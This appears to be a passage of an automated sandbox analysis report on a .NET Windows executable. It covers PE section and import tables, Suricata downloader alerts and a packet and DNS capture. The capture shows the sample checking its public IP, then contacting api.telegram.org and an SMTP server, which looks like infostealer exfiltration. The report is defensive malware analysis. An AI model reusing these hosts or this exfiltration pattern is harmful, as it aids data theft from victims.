add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb0dec	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb2000	0x1710	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb4000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xaee64	0xaf000	cbbca3fdd9b71b76897f555775188c65	False	0.934755859375	data	7.801975437341518	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xb2000	0x1710	0x1800	0288b87a92ea78163e4b0c0d0fe570cd	False	0.18440755208333334	data	2.7700824416825722	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xb4000	0xc	0x200	c18c2ae3f741120e361bbeda0dfd9dce	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xb2160	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	0.09451219512195122
RT_GROUP_ICON	0xb3208	0x14	data	1.1
RT_GROUP_ICON	0xb321c	0x14	data	1.05
RT_VERSION	0xb3230	0x2f4	data	0.43386243386243384
RT_MANIFEST	0xb3524	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-06T09:57:57.177110+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49702	193.122.6.168	80	TCP
2024-12-06T09:57:59.458397+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49702	193.122.6.168	80	TCP
2024-12-06T09:58:01.078229+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49707	172.67.177.134	443	TCP
2024-12-06T09:58:02.520889+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49714	193.122.6.168	80	TCP
2024-12-06T09:58:07.197372+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49727	172.67.177.134	443	TCP
2024-12-06T09:58:13.318951+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49747	172.67.177.134	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 09:57:55.335424900 CET	49702	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:57:55.455307007 CET	80	49702	193.122.6.168	192.168.2.7
Dec 6, 2024 09:57:55.455404997 CET	49702	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:57:55.456281900 CET	49702	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:57:55.576045990 CET	80	49702	193.122.6.168	192.168.2.7
Dec 6, 2024 09:57:56.725158930 CET	80	49702	193.122.6.168	192.168.2.7
Dec 6, 2024 09:57:56.730031013 CET	49702	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:57:56.849797964 CET	80	49702	193.122.6.168	192.168.2.7
Dec 6, 2024 09:57:57.135261059 CET	80	49702	193.122.6.168	192.168.2.7
Dec 6, 2024 09:57:57.177109957 CET	49702	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:57:57.327474117 CET	49704	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:57:57.327517033 CET	443	49704	172.67.177.134	192.168.2.7
Dec 6, 2024 09:57:57.328007936 CET	49704	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:57:57.334569931 CET	49704	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:57:57.334584951 CET	443	49704	172.67.177.134	192.168.2.7
Dec 6, 2024 09:57:58.553976059 CET	443	49704	172.67.177.134	192.168.2.7
Dec 6, 2024 09:57:58.554068089 CET	49704	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:57:58.559618950 CET	49704	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:57:58.559633017 CET	443	49704	172.67.177.134	192.168.2.7
Dec 6, 2024 09:57:58.559977055 CET	443	49704	172.67.177.134	192.168.2.7
Dec 6, 2024 09:57:58.613951921 CET	49704	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:57:58.659331083 CET	443	49704	172.67.177.134	192.168.2.7
Dec 6, 2024 09:57:58.990583897 CET	443	49704	172.67.177.134	192.168.2.7
Dec 6, 2024 09:57:58.990664005 CET	443	49704	172.67.177.134	192.168.2.7
Dec 6, 2024 09:57:58.990782976 CET	49704	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:57:59.007124901 CET	49704	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:57:59.010875940 CET	49702	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:57:59.130672932 CET	80	49702	193.122.6.168	192.168.2.7
Dec 6, 2024 09:57:59.416158915 CET	80	49702	193.122.6.168	192.168.2.7
Dec 6, 2024 09:57:59.419143915 CET	49707	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:57:59.419182062 CET	443	49707	172.67.177.134	192.168.2.7
Dec 6, 2024 09:57:59.419475079 CET	49707	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:57:59.419814110 CET	49707	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:57:59.419823885 CET	443	49707	172.67.177.134	192.168.2.7
Dec 6, 2024 09:57:59.458396912 CET	49702	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:00.633052111 CET	443	49707	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:00.636590958 CET	49707	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:00.636605024 CET	443	49707	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:01.078259945 CET	443	49707	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:01.078325987 CET	443	49707	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:01.078443050 CET	49707	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:01.078982115 CET	49707	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:01.082134962 CET	49702	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:01.083250046 CET	49714	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:01.202225924 CET	80	49702	193.122.6.168	192.168.2.7
Dec 6, 2024 09:58:01.202958107 CET	80	49714	193.122.6.168	192.168.2.7
Dec 6, 2024 09:58:01.203008890 CET	49702	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:01.203049898 CET	49714	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:01.203236103 CET	49714	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:01.322885990 CET	80	49714	193.122.6.168	192.168.2.7
Dec 6, 2024 09:58:02.471240044 CET	80	49714	193.122.6.168	192.168.2.7
Dec 6, 2024 09:58:02.472681046 CET	49715	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:02.472716093 CET	443	49715	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:02.472805977 CET	49715	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:02.473041058 CET	49715	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:02.473050117 CET	443	49715	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:02.520889044 CET	49714	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:03.684205055 CET	443	49715	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:03.687238932 CET	49715	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:03.687259912 CET	443	49715	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:04.138979912 CET	443	49715	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:04.139056921 CET	443	49715	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:04.139121056 CET	49715	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:04.139713049 CET	49715	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:04.147187948 CET	49721	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:04.266942024 CET	80	49721	193.122.6.168	192.168.2.7
Dec 6, 2024 09:58:04.267076969 CET	49721	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:04.267254114 CET	49721	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:04.386970997 CET	80	49721	193.122.6.168	192.168.2.7
Dec 6, 2024 09:58:05.534806967 CET	80	49721	193.122.6.168	192.168.2.7
Dec 6, 2024 09:58:05.536098003 CET	49727	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:05.536151886 CET	443	49727	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:05.536223888 CET	49727	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:05.536453962 CET	49727	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:05.536464930 CET	443	49727	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:05.583389044 CET	49721	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:06.750205994 CET	443	49727	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:06.751986980 CET	49727	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:06.752011061 CET	443	49727	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:07.197407007 CET	443	49727	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:07.197470903 CET	443	49727	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:07.197515965 CET	49727	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:07.197932005 CET	49727	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:07.201488972 CET	49721	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:07.202177048 CET	49731	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:07.321620941 CET	80	49721	193.122.6.168	192.168.2.7
Dec 6, 2024 09:58:07.321732998 CET	49721	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:07.321847916 CET	80	49731	193.122.6.168	192.168.2.7
Dec 6, 2024 09:58:07.322092056 CET	49731	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:07.322391987 CET	49731	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:07.442029953 CET	80	49731	193.122.6.168	192.168.2.7
Dec 6, 2024 09:58:08.591383934 CET	80	49731	193.122.6.168	192.168.2.7
Dec 6, 2024 09:58:08.593087912 CET	49734	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:08.593144894 CET	443	49734	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:08.593211889 CET	49734	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:08.593471050 CET	49734	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:08.593486071 CET	443	49734	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:08.645901918 CET	49731	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:09.803551912 CET	443	49734	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:09.805557013 CET	49734	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:09.805584908 CET	443	49734	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:10.251939058 CET	443	49734	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:10.252012968 CET	443	49734	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:10.252155066 CET	49734	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:10.252677917 CET	49734	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:10.256469011 CET	49731	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:10.257107019 CET	49740	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:10.376504898 CET	80	49731	193.122.6.168	192.168.2.7
Dec 6, 2024 09:58:10.376749039 CET	80	49740	193.122.6.168	192.168.2.7
Dec 6, 2024 09:58:10.376889944 CET	49731	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:10.376925945 CET	49740	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:10.377443075 CET	49740	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:10.499880075 CET	80	49740	193.122.6.168	192.168.2.7
Dec 6, 2024 09:58:11.644012928 CET	80	49740	193.122.6.168	192.168.2.7
Dec 6, 2024 09:58:11.645343065 CET	49747	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:11.645402908 CET	443	49747	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:11.645477057 CET	49747	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:11.645771980 CET	49747	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:11.645791054 CET	443	49747	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:11.692857981 CET	49740	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:12.857929945 CET	443	49747	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:12.859782934 CET	49747	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:12.859823942 CET	443	49747	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:13.318504095 CET	443	49747	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:13.318562984 CET	443	49747	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:13.318906069 CET	49747	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:13.319170952 CET	49747	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:13.323230982 CET	49740	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:13.324413061 CET	49751	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:13.443197966 CET	80	49740	193.122.6.168	192.168.2.7
Dec 6, 2024 09:58:13.443279028 CET	49740	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:13.444102049 CET	80	49751	193.122.6.168	192.168.2.7
Dec 6, 2024 09:58:13.444341898 CET	49751	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:13.444483042 CET	49751	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:13.564142942 CET	80	49751	193.122.6.168	192.168.2.7
Dec 6, 2024 09:58:14.711546898 CET	80	49751	193.122.6.168	192.168.2.7
Dec 6, 2024 09:58:14.712836981 CET	49756	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:14.712866068 CET	443	49756	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:14.712990046 CET	49756	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:14.713248968 CET	49756	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:14.713264942 CET	443	49756	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:14.755332947 CET	49751	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:15.925076008 CET	443	49756	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:15.935556889 CET	49756	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:15.935592890 CET	443	49756	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:16.370825052 CET	443	49756	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:16.370884895 CET	443	49756	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:16.370969057 CET	49756	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:16.371485949 CET	49756	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:16.374731064 CET	49751	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:16.375891924 CET	49762	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:16.494987011 CET	80	49751	193.122.6.168	192.168.2.7
Dec 6, 2024 09:58:16.495207071 CET	49751	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:16.495726109 CET	80	49762	193.122.6.168	192.168.2.7
Dec 6, 2024 09:58:16.495816946 CET	49762	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:16.495982885 CET	49762	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:16.615695953 CET	80	49762	193.122.6.168	192.168.2.7
Dec 6, 2024 09:58:17.823139906 CET	80	49762	193.122.6.168	192.168.2.7
Dec 6, 2024 09:58:17.824690104 CET	49765	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:17.824743986 CET	443	49765	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:17.824832916 CET	49765	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:17.825089931 CET	49765	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:17.825110912 CET	443	49765	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:17.864666939 CET	49762	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:19.126192093 CET	443	49765	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:19.133867025 CET	49765	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:19.133900881 CET	443	49765	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:19.586297989 CET	443	49765	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:19.586364985 CET	443	49765	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:19.586534977 CET	49765	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:19.586992025 CET	49765	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:19.589700937 CET	49762	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:19.590847969 CET	49771	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:19.710191011 CET	80	49762	193.122.6.168	192.168.2.7
Dec 6, 2024 09:58:19.710251093 CET	49762	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:19.710576057 CET	80	49771	193.122.6.168	192.168.2.7
Dec 6, 2024 09:58:19.710645914 CET	49771	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:19.710773945 CET	49771	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:19.830553055 CET	80	49771	193.122.6.168	192.168.2.7
Dec 6, 2024 09:58:21.176299095 CET	80	49771	193.122.6.168	192.168.2.7
Dec 6, 2024 09:58:21.177854061 CET	49775	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:21.177906990 CET	443	49775	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:21.177984953 CET	49775	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:21.178261995 CET	49775	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:21.178276062 CET	443	49775	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:21.224102020 CET	49771	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:22.388474941 CET	443	49775	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:22.390300035 CET	49775	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:22.390353918 CET	443	49775	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:22.834542036 CET	443	49775	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:22.834619999 CET	443	49775	172.67.177.134	192.168.2.7
Dec 6, 2024 09:58:22.834665060 CET	49775	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:22.835100889 CET	49775	443	192.168.2.7	172.67.177.134
Dec 6, 2024 09:58:22.891644001 CET	49771	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:23.011948109 CET	80	49771	193.122.6.168	192.168.2.7
Dec 6, 2024 09:58:23.012034893 CET	49771	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:23.030747890 CET	49781	443	192.168.2.7	149.154.167.220
Dec 6, 2024 09:58:23.030786037 CET	443	49781	149.154.167.220	192.168.2.7
Dec 6, 2024 09:58:23.030843973 CET	49781	443	192.168.2.7	149.154.167.220
Dec 6, 2024 09:58:23.031366110 CET	49781	443	192.168.2.7	149.154.167.220
Dec 6, 2024 09:58:23.031373978 CET	443	49781	149.154.167.220	192.168.2.7
Dec 6, 2024 09:58:24.400238991 CET	443	49781	149.154.167.220	192.168.2.7
Dec 6, 2024 09:58:24.400528908 CET	49781	443	192.168.2.7	149.154.167.220
Dec 6, 2024 09:58:24.403332949 CET	49781	443	192.168.2.7	149.154.167.220
Dec 6, 2024 09:58:24.403340101 CET	443	49781	149.154.167.220	192.168.2.7
Dec 6, 2024 09:58:24.403585911 CET	443	49781	149.154.167.220	192.168.2.7
Dec 6, 2024 09:58:24.405025959 CET	49781	443	192.168.2.7	149.154.167.220
Dec 6, 2024 09:58:24.451324940 CET	443	49781	149.154.167.220	192.168.2.7
Dec 6, 2024 09:58:24.904748917 CET	443	49781	149.154.167.220	192.168.2.7
Dec 6, 2024 09:58:24.904829025 CET	443	49781	149.154.167.220	192.168.2.7
Dec 6, 2024 09:58:24.904949903 CET	49781	443	192.168.2.7	149.154.167.220
Dec 6, 2024 09:58:24.909862041 CET	49781	443	192.168.2.7	149.154.167.220
Dec 6, 2024 09:58:31.153436899 CET	49714	80	192.168.2.7	193.122.6.168
Dec 6, 2024 09:58:32.008882046 CET	49802	587	192.168.2.7	77.245.159.14
Dec 6, 2024 09:58:32.128711939 CET	587	49802	77.245.159.14	192.168.2.7
Dec 6, 2024 09:58:32.128863096 CET	49802	587	192.168.2.7	77.245.159.14
Dec 6, 2024 09:58:33.702389002 CET	587	49802	77.245.159.14	192.168.2.7
Dec 6, 2024 09:58:33.702600002 CET	49802	587	192.168.2.7	77.245.159.14
Dec 6, 2024 09:58:33.879033089 CET	587	49802	77.245.159.14	192.168.2.7
Dec 6, 2024 09:58:34.134870052 CET	587	49802	77.245.159.14	192.168.2.7
Dec 6, 2024 09:58:34.136219025 CET	49802	587	192.168.2.7	77.245.159.14
Dec 6, 2024 09:58:34.255966902 CET	587	49802	77.245.159.14	192.168.2.7
Dec 6, 2024 09:58:34.568434954 CET	587	49802	77.245.159.14	192.168.2.7
Dec 6, 2024 09:58:34.568869114 CET	49802	587	192.168.2.7	77.245.159.14
Dec 6, 2024 09:58:34.689331055 CET	587	49802	77.245.159.14	192.168.2.7
Dec 6, 2024 09:58:35.099234104 CET	587	49802	77.245.159.14	192.168.2.7
Dec 6, 2024 09:58:35.099524021 CET	49802	587	192.168.2.7	77.245.159.14
Dec 6, 2024 09:58:35.219305038 CET	587	49802	77.245.159.14	192.168.2.7
Dec 6, 2024 09:58:35.531543016 CET	587	49802	77.245.159.14	192.168.2.7
Dec 6, 2024 09:58:35.531796932 CET	49802	587	192.168.2.7	77.245.159.14
Dec 6, 2024 09:58:35.651621103 CET	587	49802	77.245.159.14	192.168.2.7
Dec 6, 2024 09:58:36.008179903 CET	587	49802	77.245.159.14	192.168.2.7
Dec 6, 2024 09:58:36.008358002 CET	49802	587	192.168.2.7	77.245.159.14
Dec 6, 2024 09:58:36.128114939 CET	587	49802	77.245.159.14	192.168.2.7
Dec 6, 2024 09:58:36.440217018 CET	587	49802	77.245.159.14	192.168.2.7
Dec 6, 2024 09:58:36.440874100 CET	49802	587	192.168.2.7	77.245.159.14
Dec 6, 2024 09:58:36.440920115 CET	49802	587	192.168.2.7	77.245.159.14
Dec 6, 2024 09:58:36.440936089 CET	49802	587	192.168.2.7	77.245.159.14
Dec 6, 2024 09:58:36.440958023 CET	49802	587	192.168.2.7	77.245.159.14
Dec 6, 2024 09:58:36.560646057 CET	587	49802	77.245.159.14	192.168.2.7
Dec 6, 2024 09:58:36.560667992 CET	587	49802	77.245.159.14	192.168.2.7
Dec 6, 2024 09:58:36.560725927 CET	587	49802	77.245.159.14	192.168.2.7
Dec 6, 2024 09:58:36.560764074 CET	587	49802	77.245.159.14	192.168.2.7
Dec 6, 2024 09:58:37.045192957 CET	587	49802	77.245.159.14	192.168.2.7
Dec 6, 2024 09:58:37.099111080 CET	49802	587	192.168.2.7	77.245.159.14
Dec 6, 2024 10:00:11.241167068 CET	49802	587	192.168.2.7	77.245.159.14
Dec 6, 2024 10:00:11.360877991 CET	587	49802	77.245.159.14	192.168.2.7
Dec 6, 2024 10:00:11.875353098 CET	587	49802	77.245.159.14	192.168.2.7
Dec 6, 2024 10:00:11.875493050 CET	49802	587	192.168.2.7	77.245.159.14
Dec 6, 2024 10:00:11.875560999 CET	587	49802	77.245.159.14	192.168.2.7
Dec 6, 2024 10:00:11.875636101 CET	49802	587	192.168.2.7	77.245.159.14
Dec 6, 2024 10:00:11.995857000 CET	587	49802	77.245.159.14	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 09:57:55.183784962 CET	54743	53	192.168.2.7	1.1.1.1
Dec 6, 2024 09:57:55.320837975 CET	53	54743	1.1.1.1	192.168.2.7
Dec 6, 2024 09:57:57.185920954 CET	64524	53	192.168.2.7	1.1.1.1
Dec 6, 2024 09:57:57.326587915 CET	53	64524	1.1.1.1	192.168.2.7
Dec 6, 2024 09:58:22.892209053 CET	61768	53	192.168.2.7	1.1.1.1
Dec 6, 2024 09:58:23.030009031 CET	53	61768	1.1.1.1	192.168.2.7
Dec 6, 2024 09:58:31.213325024 CET	50539	53	192.168.2.7	1.1.1.1
Dec 6, 2024 09:58:32.007359982 CET	53	50539	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 6, 2024 09:57:55.183784962 CET	192.168.2.7	1.1.1.1	0x29f7	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Dec 6, 2024 09:57:57.185920954 CET	192.168.2.7	1.1.1.1	0xfe09	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Dec 6, 2024 09:58:22.892209053 CET	192.168.2.7	1.1.1.1	0xc118	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Dec 6, 2024 09:58:31.213325024 CET	192.168.2.7	1.1.1.1	0x524	Standard query (0)	mail.adendanismanlik.com.tr	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 6, 2024 09:57:55.320837975 CET	1.1.1.1	192.168.2.7	0x29f7	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2024 09:57:55.320837975 CET	1.1.1.1	192.168.2.7	0x29f7	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
